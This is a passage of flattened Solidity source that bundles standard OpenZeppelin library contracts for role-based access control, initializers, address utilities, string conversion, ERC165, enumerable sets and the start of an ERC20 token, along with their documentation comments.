// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal onlyInitializing { } function __AccessControlEnumerable_init_unchained() internal onlyInitializing { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See 